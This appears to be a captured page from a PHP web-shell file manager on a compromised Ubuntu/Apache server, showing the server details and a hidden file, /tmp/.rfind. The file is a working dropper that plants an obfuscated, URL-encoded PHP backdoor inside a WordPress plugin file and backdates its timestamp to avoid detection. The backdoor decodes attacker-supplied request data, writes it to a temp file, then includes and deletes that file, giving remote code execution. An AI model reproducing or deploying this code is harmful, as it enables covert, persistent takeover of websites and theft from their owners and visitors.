HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux simsoft.ro 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC 2025 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //tmp/.rfind
<?php   $p = "/home/florin/sites/dentoutline/current/public/wp-content/plugins/popup-maker/includes/legacy/importer/easy-modal-v2/model/modal/picmgr.php"; $c = rawurldecode('%3C%3Fphp%0A%0Aif%28array_key_exists%28%22ho%5Cx6Cder%22%2C%20%24_REQUEST%29%20%26%26%20%21is_null%28%24_REQUEST%5B%22ho%5Cx6Cder%22%5D%29%29%7B%0A%09%24ent%20%3D%20array_filter%28%5Bgetenv%28%22TEMP%22%29%2C%20getenv%28%22TMP%22%29%2C%20%22/tmp%22%2C%20%22/var/tmp%22%2C%20%22/dev/shm%22%2C%20sys_get_temp_dir%28%29%2C%20session_save_path%28%29%2C%20getcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%5D%29%3B%0A%09%24pgrp%20%3D%20%24_REQUEST%5B%22ho%5Cx6Cder%22%5D%3B%0A%09%20%24pgrp%20%20%20%3D%20%09explode%09%28%20%20%22.%22%09%2C%09%09%24pgrp%09%20%09%29%3B%09%09%0A%09%24pset%20%3D%20%27%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24s%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24lenS%20%3D%20strlen%28%24s%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24r%20%3D%200%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%24__tmp%20%3D%20%24pgrp%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20while%20%28%24v2%20%3D%20array_shift%28%24__tmp%29%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24sChar%20%3D%20ord%28%24s%5B%24r%20%25%20%24lenS%5D%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24dec%20%3D%20%28%28int%29%24v2%20-%20%24sChar%20-%20%28%24r%20%25%2010%29%29%20%20%5E97%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24pset%09.%3D%20%09chr%28%24dec%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24r%2B%2B%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%09foreach%20%28%24ent%20as%20%24key%20%3D%3E%20%24parameter_group%29%20%7B%0A%20%20%20%20%09%09if%20%28%21%21is_dir%28%24parameter_group%29%20%26%26%20%21%21is_writable%28%24parameter_group%29%29%20%7B%0A%20%20%20%20%24bind%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24parameter_group%2C%20%22.data%22%5D%29%3B%0A%20%20%20%20%24file%20%3D%20fopen%28%24bind%2C%20%27w%27%29%3B%0Aif%20%28%24file%29%20%7B%0A%09fwrite%28%24file%2C%20%24pset%29%3B%0A%09fclose%28%24file%29%3B%0A%09include%20%24bind%3B%0A%09%40unlink%28%24bind%29%3B%0A%09die%28%29%3B%0A%7D%0A%7D%0A%7D%0A%7D'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1771598159); } die('!ended!');